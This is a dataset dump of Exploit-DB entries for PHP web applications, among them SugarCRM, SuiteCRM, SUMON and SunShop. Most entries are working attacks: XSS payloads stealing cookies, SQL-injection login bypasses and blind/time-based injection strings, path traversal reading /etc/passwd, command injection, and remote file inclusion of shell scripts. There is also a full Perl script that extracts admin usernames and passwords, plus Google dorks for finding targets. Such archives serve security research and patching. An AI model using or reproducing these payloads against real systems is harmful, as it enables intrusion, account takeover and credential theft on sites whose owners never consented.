deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47247
Description: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-08-14
Author: Ilca Lucian Florin

Exploit:
# Exploit Title: 0Day UnauthenticatedXSS SugarCRM Enterprise
# Google Dork: N/A
# Date: 11.08.2019
# Exploit Author: Ilca Lucian Florin
# Vendor Homepage: https://www.sugarcrm.com
# Version: 9.0.0
# Tested on: Windows 7 / Internet Explorer 11 / Google Chrome 76
# CVE : 2019-14974

The application fails to sanitize user input on https://sugarcrm-qms.XXX.com/mobile/error-not-supported-platform.html and reflect the input directly in the HTTP response, allowing the hacker to exploit the vulnerable parameter and have malicious content executed in the victim's browser.

Steps to reproduce:

1.Attacker will craft a malicious payload and create a legitimate link with the payload included;
2. Attacker will send the link to the victim;
3. Upon clicking on the link, the malicious payload will be reflected in the response and executed in the victim’s browser.

The behavior can be observed by visiting the following URL:

https://server/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(document.cookie);//itms://

Clicking on FULL VERSION OF WEBSITE will trigger the XSS.

Impact statement:

Although requiring user interaction, reflected XSS impact might range from web defacement to stealing user info and full account takeover, depending on the circumstances.

Recommendation:

Always ensure to validate parameters input and encode the output.
Exploit-DB #24823
Description: sugarsales 1.x/2.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2004-12-13
Author: Daniel Fabian

Exploit:
source: https://www.securityfocus.com/bid/11896/info

Multiple remote vulnerabilities are reported to exist in SugarSales.

The first reported issue is an SQL injection vulnerability. This vulnerability is due to a lack of proper input-validation by the application, prior to utilizing attacker-supplied data in and SQL query.

This vulnerability is reported to exist in versions prior to 2.0.1a.

The next issue is reportedly a directory traversal vulnerability. This vulnerability is also due to a lack of proper input-validation by the application.

The last reported issue is a remote denial of service and information disclosure vulnerability.

The directory traversal and installation script vulnerabilities reportedly exist in all current versions of SugarSales.

To log into SugarSales, utilize the username "admin' or 1=1 -- " with any password.

To disclose the contents of potentially sensitive files:
http://www.example.com/sugarcrm/modules/Users/Login.php?theme=/../../../etc/hosts%00
http://www.example.com/sugarcrm/modules/Calls/index.php?theme=/../../../etc/hosts%00
Exploit-DB #46310
Description: SuiteCRM 7.10.7 - 'parentTab' SQL Injection
Type: webapps
Platform: php
Date: 2019-02-04
Author: Mehmet EMIROGLU

Exploit:
####################################################################

# Exploit Title: SuiteCRM 7.10.7 - 'parentTab' SQL Vulnerabilities
# Dork: N/A
# Date: 03-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://suitecrm.com/
# Software Link: https://suitecrm.com/download/
# Version: 7.10.7
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A
# Software Description: SuiteCRM was awarded the 2015 BOSSIE by InfoWorld
  as the world's best open source Customer Relationship Management (CRM)
application.

####################################################################

# Vulnerabilities
# This web application called as SuiteCRM 7.10.7 version.
# After logging in, enter the email section.
  then change the collaboration to 9999999 (This bypass Method). Add the
following codes to the end of the URL.

####################################################################

# POC - SQL (Boolean Based)
# Parameters : parentTab
# Attack Pattern : aNd if(length(0x454d49524f474c55)>1,sleep(5),0)
# Refer Adress:
http://localhost/SuiteCRM/index.php?module=Emails&action=index&parentTab=Collaboration
# GET Request :
http://localhost/SuiteCRM/index.php?module=Emails&action=index&parentTab=99999999%27)/**/oR/**/6617279=6617279/**/aNd/**/(%276199%27)=(%276199

####################################################################
Exploit-DB #46311
Description: SuiteCRM 7.10.7 - 'record' SQL Injection
Type: webapps
Platform: php
Date: 2019-02-04
Author: Mehmet EMIROGLU

Exploit:
####################################################################

# Exploit Title: SuiteCRM 7.10.7 - 'record' SQL Vulnerabilities
# Dork: N/A
# Date: 03-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://suitecrm.com/
# Software Link: https://suitecrm.com/download/
# Version: 7.10.7
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A
# Software Description: SuiteCRM was awarded the 2015 BOSSIE by InfoWorld
  as the world's best open source Customer Relationship Management (CRM)
application.

####################################################################

# Vulnerabilities
# This web application called as SuiteCRM 7.10.7 version.
# After logging in, enter the user section. then view the user details.
  Add the following codes to the end of the URL.

####################################################################

# POC - SQL (Time Based)
# Parameters : record
# Attack Pattern : aNd if(length(0x454d49524f474c55)>1,sleep(5),0)
# GET Request :
http://localhost/SuiteCRM/index.php?module=Users&action=DetailView&record=1
aNd if(length(0x454d49524f474c55)>1,sleep(5),0)

####################################################################
Exploit-DB #15720
Description: Sulata iSoft - 'stream.php' Local File Disclosure
Type: webapps
Platform: php
Date: 2010-12-10
Author: Sudden_death

Exploit:
=========================================================
Sulata iSoft (stream.php) Local File Disclosure Exploit
=========================================================

# Exploit Title     : Sulata iSoft (developer by Rizwan Azam) you look 
site.com/about.php
# Date              : 10 December 2010
# Author            : Sudden_death
# Platform/Tested on: Windows XP 2 SP 2
# myweb             : http://sudden.isgreat.org
# dork              : your imagination
======================================================================
 
# vuln here
http://www.site.com/_admin/stream.php?path=

# try to download and watch source file stream.php
    .....
    //include_once("../home/library.php");
    include_once("../connection.php");    <----------------------- look here,, 
This is the config
    suConnect();
    .....

# after we know config, let us download
http://www.site.com/_admin/stream.php?path=../connection.php


[#]-------------------------------------------------------------------

Greets            :| bumble_be | kiddies | patriot | Mr.SoOofe | petimati | 
white hat | Syst3m_RtO | MISTERFRIBO | CS-31 | d43ngCyb3r | zee eichel | ne0 
d4rk fl00d3r | Ichito-Bandito | james0baster | kaMtiEz | Man In Black | otong | 
r3m1ck's | shadowsmaker | SyNTaX ErRoR | iJoo | FLYFF666 | LOL1ds | Md_holic | 
cah_surip | angga | demnas | ELV1N4 | jonathan | virgi | scr34mz | Kimmonosz | 
pL4nkt0n | RxN7 | jos_ali_jo | 45tr0_k1ll1n9 | huda_style | zalezero | 
CireSoft49 | r4tu_le64h | cruzen | ranggamagic | Mbah_semar | and all crew's 
yang ga bisa ane sebutin satu persatu |
Spesial thanks    : [ indonesianhacker.or.id | tecon-crew.org | devilzc0de.org | 
makassarhacker.com ]
 
note : jangan mengatakan setiap apa yang engkau ketahui tapi ketahuilah setiap 
apa yang kau katakan!
Exploit-DB #7430
Description: SUMON 0.7.0 - Command Execution
Type: webapps
Platform: php
Date: 2008-12-12
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ################################################################
 #  [ sumon <= 0.7.0 ]  Remote Command Execution Vulnerability  #
 ################################################################
 #
 # Script: Simple Unix MONitor (sumon)
 #
 # Script Site: http://sumon.sourceforge.net/
 # Download: http://sourceforge.net/projects/sumon
 #
 # Vuln: http://site.com/sumon-0.7.0/chg.php?host=|id>/tmp/dupa;
 #     
 # Bug: ./sumon-0.7.0/server/www/chg.php (lines: 32-25, 99)
 #
 # ...
 #       if (array_key_exists("host",$_GET))
 #       {
 #          $host         =  $_GET["host"];
 #       }
 # ...
 #       passthru("${bindir}/chmgmtinfobuilder.pl --html --chgonly --node=$host --days=$days");
 # ...     
 #
 # Vuln: http://site.com/sumon-0.7.0/stats.php?host=|id>/tmp/dupa;
 #     
 # Bug: ./sumon-0.7.0/server/www/stats.php (lines: 23-25, 294)
 #
 # ...
 #        if (array_key_exists("host",$_GET))
 #        {
 #      $host         =  $_GET["host"];
 # ...     
 #         exec ("$graphstats -h $host -l $graphic -g GRAPH:".$time.":".$timefactor." ".$timestampstring." ".$endstring." > /dev/null 2>&1");
 # ...     
 #
 # Vuln: http://site.com/sumon-0.7.0/showfile.php  
 #       http://site.com/sumon-0.7.0/difffile.php
 #
 #     POST /sumon-0.7.0/showfile.php  HTTP/1.1
 #    
 #    Host: site.com
 #    User-Agent: Mozilla/5.0
 #    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 #    Accept-Language: pl,en-us;q=0.7,en;q=0.3
 #    Accept-Encoding: gzip,deflate
 #    Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
 #    Keep-Alive: 300
 #    Connection: keep-alive
 #    Content-Type: application/x-www-form-urlencoded
 #    Content-Length: 27
 #    
 #    fichero_post=|id>/tmp/dupa;
 #
 # Bug: ./sumon-0.7.0/server/www/showfile.php (lines: 36)
 #      ./sumon-0.7.0/server/www/difffile.php (lines: 36)
 # ...
 #           passthru("${bindir}/showfile.pl ${datadir}/$_POST[fichero_post]");
 # ...     
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ]

*******************************************************************************************

# milw0rm.com [2008-12-12]
Exploit-DB #4091
Description: Sun Board 1.00.00 alpha - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-22
Author: GoLd_M

Exploit:
# Sun Board 1.00.00 Alpha Multiple Remote File Inclusion Vulnerabilities

# D.Script :
      http://mesh.dl.sourceforge.net/sourceforge/sunboard/sunboard.zip

# V.Code :
      require $sunPath.'config.php';
      require_once $sunPath.'dbms/'.$dbtype.'.php';
# In :
      /include.php

# Exploits :
      /include.php?sunPath=Shell.txt?

# V.Code 2 :
      <?php require_once $dir.'/lib.php'; ?>

# In :
      /skin/board/default/doctype.php

# Exploits 2 :
      /skin/board/default/doctype.php?dir=Shell.txt?

# Discovered by:
      GoLd_M = [Mahmood_ali]

# Homepage:
      http://www.Tryag.Com/cc

# Sp.Thanx To :
      Tryag-Team & Asb-May's Group

# milw0rm.com [2007-06-22]
Exploit-DB #21610
Description: Sun i-Runbook 2.5.2 - Directory and File Content Disclosure
Type: webapps
Platform: php
Date: 2002-07-11
Author: JWC

Exploit:
source: https://www.securityfocus.com/bid/5209/info

Sun i-Runbook is a single point of technical and administration management for Sun production environments. i-Runbook provides a web interface.

i-Runbook can be led to disclose the contents of a known resource. This is accomplished by submitting a specially crafted request with the absolute path to a known directory or file.

This issue could result in the disclosure of sensitive information. 

http://<Serverip:port>/content/base/build/explorer/none.php?..:..:..:..:..:.
.:..:etc:passwd:

or

http://<Serverip:port>/content/base/build/explorer/none.php?/etc/passwd
Exploit-DB #7323
Description: SunByte e-Flower - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-02
Author: w4rl0ck

Exploit:
#===========================================================
#
# SunByte e-Flower SQL Injection Attack by [W4RL0CK]
#
#===========================================================
# 
# VENDOR: Sunbyte  URL: http://www.sunbyte.net/
# APP: Sunbyte e-Flower (eCommerce webapp)
# APP SITE: http://www.sunbyte.net/products/index.php?screen=eflower
# AUTHOR: W4RL0CK
# DATE: 29/11/08
# VULN.: SQL INJECTION
#
# 
# WEBSITE: http://warlock.iblogger.org
# CONTACT: w4rl0ck@hackermail.com
#
#===========================================================
#
# Expl0itin6:
#
# http://localhost/sunbyte/popupproduct.php?id=[uR eViLNeSS HeRe]
#
# Liv3 dEm0:
#
# http://www.sunbyte.net/florist/popupproduct.php?id=1337+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12
#
#
#
# now, use y0ur imaginati0n!  ;) 
# note: there could be more vulnerabilities in the application
#
#===========================================================
#
# gr33tz t0 >>>>>>>>> CHIL34N T34M <<<<<<<<<<<<
#  ===================================================
# [ we ar3: Vicent0! ~ ThE.Xin0x ~ Par4d0gX ~ W4RL0CK ]
#  ===================================================
#
#     and all m3mb3rs of: [MiTM.cL]       & str0ke
#
#===========================================================

# milw0rm.com [2008-12-02]
Exploit-DB #10762
Description: Sunbyte e-Flower - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-28
Author: Don Tukulesto

Exploit:
/**************************************************************************

[!] Sunbyte e-Flower SQL Injection Vulneralbility
[!] Author      : Don Tukulesto (root@indonesiancoder.com)
[!] Homepage    : http://www.indonesiancoder.com
[!] Date        : December 28, 2009
[!] Tune In     : http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[+] Vendor : http://www.sunbyte.net/
[+] Download : http://store.esellerate.net/s.aspx?s=STR932252155
[+] Version() : -
[+] Price : $150
[+] Overview : Sunbyte eFlower is an e-commerce system that helps your florist shop takes order through Internet.
[+] Method : SQL Injection
[+] Dork : Nothing else Matter

===========================================================================

[ Got Error ]

http://server/eFlower/index.php?s=cat&m=o&id=[IndonesianCoder-2009]

===========================================================================
Exploit-DB #3953
Description: SunLight CMS 5.3 - 'root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-19
Author: Mehmet Ince

Exploit:
##############################################################################################
#SunLight CMS 5.3 <= Remote File Inclusion Vulnerability
#
#Dork:""cms SunLight 5.2"
#
#Dork2:http://search.seznam.cz/searchScreen?w="cms+SunLight+5.2"&mod=f
#
#Vuln Code
##############################################################################################
#
#ERROR1:_connect.php
#
#       /*-----vlozeni pristupovych dat-----*/
#      include($root."_access.php");   <<< RFI CODE
#
#
#BUG1:
#
#Example1:http://site.com/path/_connect.php?root=[[Sh3LL Script]]
#
#ERROR2:modules/startup.php
#
#    include($root."_connect.php");
#    include($root."modules/sessions.php");
#    include($root."modules/content_preload.php"); <<< RFI CODE
#
#
#BUG1:
#
#Example1:http://site.com/path/modules/startup.php?root=[[Sh3LL Script]]
#
#Script Download
##############################################################################################
#
#http://sunlight.profitux.cz/upload/stahuj/system/sunlight_53_standard.zip
#
##############################################################################################
#
#Cyber-Security
#
##############################################################################################

# milw0rm.com [2007-05-19]
Exploit-DB #21377
Description: SunShop Shopping Cart 1.5/2.x - User-Embedded Scripting
Type: webapps
Platform: php
Date: 2002-04-13
Author: ppp-design

Exploit:
source: https://www.securityfocus.com/bid/4506/info

SunShop is commercial web store software. It is written in PHP, and will run on most Unix and Linux operating systems as well as Microsoft Windows.

SunShop allows attackers to embed arbitrary script code into form fields. This may enable a remote attacker to perform actions as the administrative user of the shopping cart. 

Enter the following name when registering as a new customer:

blackhat<script>alert('ouch')</script>
Exploit-DB #3748
Description: SunShop Shopping Cart 3.5 - 'abs_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-16
Author: irvian

Exploit:
sunshop 4 (index.php) Remote File Include Vulnerability

-----------------------------------------------------------------------------------------
# scripts       : SunShop v3.5
# Discovered By : irvian
# scripts site  : http://www.turnkeywebtools.com/sunshop/
# Thanks To     : #hitamputih #nyubicrew #patihack
# special To    : nyubi,ibnusina,arioo,jipank,kacung,trangkil,cah_gemblunkz,permenhack
# dork          : "powered by sunshop"
------------------------------------------------------------------------------------------
bug found:

Exploit: www.target.com/index.php?abs_path=[evilcode]
         www.target.com/checkout.php?abs_path=[evilcode]

# milw0rm.com [2007-04-16]
Exploit-DB #27792
Description: SunShop Shopping Cart 3.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-05-01
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17770/info

SunShop Shopping Cart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?action=item&id=15&prevaction=[XSS]
http://www.example.com/index.php?action=item&id=15&prevaction=category&previd=[XSS]
http://www.example.com/index.php?action=item&id=15&prevaction=category&previd=2&prevstart=[XSS]
http://www.example.com/index.php?action=sendtofriend&type=item&itemid=[XSS]
http://www.example.com/index.php?action=item&id=[XSS]
http://www.example.com/index.php?action=[XSS]
Exploit-DB #31800
Description: SunShop Shopping Cart 3.5.1 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-15
Author: irvian

Exploit:
source: https://www.securityfocus.com/bid/29241/info

SunShop Shopping Cart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SunShop Shopping Cart 3.5.1 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl -w
use LWP::UserAgent;
# scripts : SunShop Version 3.5.1 Remote Blind Sql Injection
# scripts site : http://www.turnkeywebtools.com/sunshop/
# Discovered
# By : irvian
# site : http://irvian.cn
# email : irvian.info@gmail.com

print "\r\n[+]-----------------------------------------[+]\r\n";
print "[+]Blind SQL injection [+]\r\n";
print "[+]SunShop Version 3.5.1 [+]\r\n";
print "[+]code by irvian [+]\r\n";
print "[+]special : ifx, arioo, jipank, bluespy [+]\r\n";
print "[+]-----------------------------------------[+]\n\r";
if (@ARGV < 5){
die "

Cara Mengunakan : perl $0 host option id tabel itemid

Keterangan
host : http://victim.com
Option : pilih 1 untuk mencari username dan pilih 2 untuk mencari password
id : Isi Angka Kolom id biasanya 1, 2 ,3 dst
tabel : Isi Kolom tabel biasanya admin atau ss_admin
itemid : Isi Angka valid (ada productnya) di belakang index.php?action=item&id=
Contoh : perl $0 http://www.underhills.com/cart 1 1 admin 10
\n";}


$url = $ARGV[0];
$option = $ARGV[1];
$id = $ARGV[2];
$tabel = $ARGV[3];
$itemid = $ARGV[4];

if ($option eq 1){
syswrite(STDOUT, "username: ", 10);}
elsif ($option eq 2){
syswrite(STDOUT, "password: ", 10);}

for($i = 1; $i <= 32; $i++){
$f = 0;
$n = 32;
while(!$f && $n <= 57)
{
if(&blind($url, $option, $id, $tabel, $i, $n, $itemid)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
if ($f==0){
$n = 97;
while(!$f && $n <= 122)
{
if(&blind($url, $option, $id, $tabel, $i, $n, $itemid)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
}
}
print "\n[+]finish Execution Exploit\n";

sub blind {
my $site = $_[0];
my $op = $_[1];
my $id = $_[2];
my $tbl = $_[3];
my $i = $_[4];
my $n = $_[5];
my $item = $_[6];

if ($op eq 1){
$klm = "username";
}
elsif ($op eq 2){
$klm = "password";
}
my $ua = LWP::UserAgent->new;
my $url = "$site"."/index.php?action=item&id="."$item"."'%20AND%20SUBSTRING((SELECT%20"."$klm"."%20FROM%20"."$tbl"."%20WHERE%20id="."$id"."),"."$i".",1)=CHAR("."$n".")/*";
my $res = $ua->get($url);
my $browser = $res->content;
if ($browser !~ /This product is currently not viewable/i){
return 1;
}
else {
return 0;
}

}
Exploit-DB #29908
Description: SunShop Shopping Cart 3.5/4.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-04-25
Author: s3rv3r_hack3r

Exploit:
source: https://www.securityfocus.com/bid/23662/info

Sunshop is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect Sunshop 4; other versions may also be vulnerable. 

http://www.example.com/include/payment/payflow_pro.php?abs_path=http://www.example2.com/?
Exploit-DB #29960
Description: SunShop Shopping Cart 4.0 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-05-07
Author: John Martinelli

Exploit:
source: https://www.securityfocus.com/bid/23856/info

TurnkeyWebTools SunShop Shopping Cart is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, bypass the authentication mechanism, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. Other attacks are also possible.

SunShop Shopping Cart v4 is reported vulnerable; other versions may also be affected. 

<form action="http://demos.turnkeywebtools.com/ss4/index.php" method="post">
<input name="c" size=75 value="'">
<input name="pg" type="hidden" value="1">
<input name="l" type="hidden" value="product_list">
<input type=submit value="Execute SQL Injection on variable 'c' in index.php" class="button">
</form>